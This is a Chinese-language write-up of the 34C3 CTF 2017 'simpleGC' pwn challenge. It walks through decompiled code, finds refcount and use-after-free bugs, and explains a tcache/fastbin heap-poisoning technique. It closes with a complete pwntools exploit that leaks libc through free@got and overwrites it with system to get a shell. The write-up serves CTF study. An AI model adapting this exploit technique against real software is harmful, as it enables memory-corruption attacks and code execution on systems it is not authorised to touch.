34c3-ctf-2017-simpleGC

这是一道典型的tcache新特性利用题,特此记录~

分析

检查保护,只有NX和Canary:

代码

分析代码,有两个重要的结构体:

与之相关的是下面的用户数组和用户组数组:

1
2
struct UserStruct *users[96];
struct GroupStruct *groupStat[96];

main

观察main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int *v3; // rsi
int opt; // [rsp+Ch] [rbp-14h]
pthread_t newthread; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
v3 = 0LL;
pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL);
while ( 1 )
{
puts("0: Add a user");
puts("1: Display a group");
puts("2: Display a user");
puts("3: Edit a group");
puts("4: Delete a user");
puts("5: Exit");
printf("Action: ", v3);
v3 = &opt;
if ( (unsigned int)__isoc99_scanf("%d", &opt) == -1 )
break;
if ( !opt )
addU();
if ( opt == 1 )
showG();
if ( opt == 2 )
showU();
if ( opt == 3 )
editG(); // bug
if ( opt == 4 )
deleteU(); // bug
if ( opt == 5 )
{
puts("Bye");
exit(0);
}
}
exit(1);
}

是一个标准的选单

start_routine

在main函数中,一开始新建了一个线程,用于垃圾回收:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void __fastcall __noreturn start_routine()
{
unsigned int i; // [rsp+18h] [rbp-8h]

sleep(1u);
while ( 1 ) // 垃圾回收
{
for ( i = 0; i <= 0x5F; ++i )
{
if ( groupStat[i] )
{
if ( !LOBYTE(groupStat[i]->num) ) //当某个组引用计数为0
{
free(groupStat[i]->groupName); //删除该组
free(groupStat[i]);
groupStat[i] = 0LL;
}
}
}
sleep(0);
}
}

这里有个可疑之处,在分析结构体时groupStat[i]->num很可能是DWORD型,但是这里比较是Byte型,当然也可能是数据对齐,反正留意这里之后发现是一个可以利用的点–0x100==0,接着再看选单的操作。

addU

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 addU()
{
..............
printf("Please enter the user's group: ", 192LL);
readN(groupName, 24uLL);
..............
speGroup = searchSpeG(groupName); //输入组名,若该组已存在在则直接使用
if ( !speGroup ) //否则新创建组(它们的内部都会自增引用计数)
speGroup = newSpeG(groupName);
..............
}

showG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 showG()
{
unsigned int i; // [rsp+Ch] [rbp-34h]
char groupName[40]; // [rsp+10h] [rbp-30h]
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Enter group name: ");
readN(groupName, 0x18uLL);
for ( i = 0; i <= 0x5F; ++i )
{
if ( users[i] && !strcmp(groupName, users[i]->groupName) )
printUser(users[i]);
}
return __readfsqword(0x28u) ^ v3;
}

showU

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 showU()
{
unsigned int i; // [rsp+Ch] [rbp-14h]
char nptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Enter index: ");
readN(&nptr, 4uLL);
i = atoi(&nptr);
if ( i <= 0x5F ) // i是无符号数没问题
{
if ( users[i] )
printUser(users[i]);
else
printf("No users at %u\n", i);
}
else
{
puts("invalid index");
}
return __readfsqword(0x28u) ^ v3;
}

editG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned __int64 editG()
{
int i; // [rsp+Ch] [rbp-54h]
struct GroupStruct *v2; // [rsp+10h] [rbp-50h]
char nptr; // [rsp+20h] [rbp-40h]
char groupName[40]; // [rsp+30h] [rbp-30h]
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
printf("Enter index: ");
readN(&nptr, 4uLL);
i = atoi(&nptr);
if ( users[i] ) // 这里的i会越界
{
printf(
"Would you like to propagate the change, this will update the group of all the users sharing this group(y/n): ",
4LL);
readN(&nptr, 2uLL);
printf("Enter new group name: ", 2LL);
if ( nptr == 'y' )
{
readN(users[i]->groupName, 0x18uLL); // 改名太直接拉
}
else
{
readN(groupName, 0x18uLL); // 未调用deleteSta
v2 = searchSpeG(groupName);
if ( v2 )
users[i]->groupName = v2->groupName;
else
users[i]->groupName = newSpeG(groupName)->groupName;
}
}
return __readfsqword(0x28u) ^ v5;
}

这里若选择y就是更改那个组所有对象的组名,它的实现是直接更改组名,这样可能会造成两个同名组存在,而选择其他的话,是和创建新用户时一样,但是他并不是创建新用户,这个用户之前是属于一个组的,在这里并没有减少这个组的引用计数。

deleteU

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
unsigned __int64 deleteU()
{
unsigned int i; // [rsp+Ch] [rbp-14h]
char nptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Enter index: ");
readN(&nptr, 4uLL);
i = atoi(&nptr);
if ( i <= 0x5F )
{
if ( users[i] )
{
deleteSta(users[i]->groupName);
free(users[i]);
users[i] = 0LL;
}
}
else
{
puts("invalid index");
}
return __readfsqword(0x28u) ^ v3;
}

void __fastcall deleteSta(const char *a1)
{
unsigned __int16 i; // [rsp+1Eh] [rbp-2h]

for ( i = 0; i <= 0x5Fu; ++i )
{
if ( groupStat[i] && !strcmp(a1, groupStat[i]->groupName) )// 可能释放多个
{
if ( LOBYTE(groupStat[i]->num) )
--LOBYTE(groupStat[i]->num);
}
}
}

在删除用户的时候,是根据用户数组下标找到用户,若用户存在则先匹配用户名与组名找到对应的组,减少其计数再释放用户,但是由于编辑的地方存在漏洞可以使两个不同的组拥有相同组名,这里就会存在一次释放两个,其一会释放后使用。

利用

发现两种思路:

  1. 垃圾回收是检查引用计数的最低一字节,本来这里只有96个数组,不会出什么问题,但是由于改名的时候自减原来的用户组引用计数,那么就可以使它单向递增突破0xFF,导致UAF。
  2. 删除用户时删除对应的用户组引用计数,找对应组时是通过比较用户结构体里指向的组名与用户组结构体里指向的组名字符串是不是一样,本来是不会出现两个具有相同组名的用户组的,但是在编辑用户组时存在bug导致这种情况的存在,导致的后果就是可能会在删除一个用户时减少两个用户组的引用计数,导致UAF。

其中对组的释放只发生在线程二(垃圾回收线程),它一次释放两个chunk,由于对齐,两个chunk的大小都是0x20,对用户的释放发生在线程一(主线程),它只涉及一个chunk大小也是0x20,由于tcache机制,线程二释放的chunk会首先填充到线程二的tcachebins,若是它能被分配的话,那就明显的降低了本题的难度,然鹅线程二只释放不分配,且被释放后使用的chunk也只会被线程二释放,这一度使场面十分尴尬,迂回策略是先填充线程二的tcachebins,接下来多余的chunk会被放进mainarena的fastbins,再去分配chunk,那么在将线程一的tcachebins中的chunk用完以后,再次分配会从fastbins中取,当取到时会先检查大小,接着将剩余的chunk填入tcachebins中,直到填满,于是要利用的那个chunk被成功放入tcache啦,只需要修改它的fd即可分配到任意区域。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
...............
REMOVE_FB (fb, victim, pp);
if (victim != 0)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) //对第一个匹配的chunk,检查大小
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count //将剩余的chunk填入tcache
&& (pp = *fb) != NULL)
{
REMOVE_FB (fb, tc_victim, pp);
if (tc_victim != 0)
{
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
.......................
}
}

这里分配到用户数组那里,即fd=&user[1]-0x10,那么输出用户信息就能从groupName中得到user[2]里面的数据,包括堆地址,更进一步,通过修改组名可以修改user里面的数据,如将groupName指向free@got则可以泄露free的地址,计算出system地址再写回free@got,并且把user[2]的第一项写为sh\0则可以在释放user[2]时getshell。

代码

添加6个用户,每个用户3个chunk:

1
2
for i in range(6):
addU(str(i),'a'*i,0)

此时共申请了7*3个chunk,再释放:

1
2
for i in range(4):
deleteU(str(i))

此时有7个chunk到线程二的tcache,剩下一个就到了mainarena的fastbins啦,另外线程一的tcahe里面有4个chunk。接着再将user[4]的组名改为user[5]的,释放user[4]:

1
2
editG(4,'y','a'*5)
deleteU(4)

此时group[5]也被删掉了,而user[5]未被删除,它的groupName还指向了被释放的区域,此时fastbins有3个,要利用的在中间,线程一的tcache有5个,先修改要利用的chunk的fd指针,再次添加一个用户并改变组名:

1
2
3
editG(5,'y',p64(userAddr))
addU(0,'a',0)
editG(0,'n','aa')

此时,会把线程一的tcache清空,再改两次名字就可以将userArry分配出去啦:

1
2
editG(0,'n','aaa')
editG(0,'n','aaaa')

user[0]->groupName == user[1],此时就可以通过更改user[0]的组名,将user[2]改为&user[1],user[1]改为为/bin/sh\0,user[3]改为free@got,在输出user[2]即可获取到free的地址,此时再将user[2]的组名改为system的地址,即将free@got值改为system,即可在释放user[2]的时候,执行free(user[2]->name)==>system("/bin/sh\0")

最终代码(代码太丑请勿吐槽):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python
# coding=utf-8

from pwn import *

binfile,ip,port = './sgc','127.0.0.1',1234

if args.REMOTE:
p = remote(ip,port)
else:
p = process(['/root/Desktop/build/glibc/elf/ld.so','--library-path','/root/Desktop/build/glibc/:/root/Desktop/build/glibc/nptl/',binfile])

def select(opt):
sla(str(opt),'Action: ')

def sla(a,b):
p.sendlineafter(b,a)

def addU(user,group,age):
select(0)
sla(user,'name: ')
sla(group,'group: ')
sla(str(age),'age: ')

def showG(group):
select(1)
sla(group,'name: ')
p.recvuntil('\n\tName: ')
Name = p.recvuntil('\n\tGroup: ')
Group = p.recvuntil('\n\tAge: ')
Age = p.recvuntil('0: Add a user')
return Name,Group,Age

def showU(index):
select(2)
sla(str(index),'index: ')
return p.recvuntil('0: Add')

def editG(index,yn,user):
select(3)
sla(str(index),'index: ')
sla(yn,'(y/n): ')
sla(user,'name: ')

def deleteU(index):
select(4)
sla(str(index),'index: ')

userArr = 0x6020E0
freeGot = ELF(binfile).got['free']
libc = ELF('/root/Desktop/build/glibc/libc.so.6')
for i in range(6):
addU('name','a'*(i+1),0)
for i in range(4): #t2:7 t1:4 fast:1
deleteU(i)
editG(4,'y','a'*(4+2))
deleteU(4) #t2:7 t1:5 fast:1+1(uaf)+2+1
editG(5,'y',p64(userArr+0x8-0x10))
addU('name','a'*1,0) #t2:7 t1:2 fast:1+1(uaf)+2+1
for i in range(2):
editG(0,'n','b'*(i+1)) #t2:7 t1:0 fast:0
sleep(3)
editG(0,'y','/bin/sh\0'+p64(userArr+0x8)+p64(freeGot))
#gdb.attach(p,'b *0x40151d')
freeAddr = showU(2)
freeAddr = u64(freeAddr[29:29+8].split('\n\t')[0].ljust(8,'\x00'))

systemAddr = freeAddr - libc.symbols['free'] + libc.symbols['system']
editG(2,'y',p64(systemAddr))
deleteU(2)
p.interactive()

结果

参考

[0]http://blog.rh0gue.com/2018-01-05-34c3ctf-simplegc/
[1]https://0x48.pw/2018/01/17/0x40/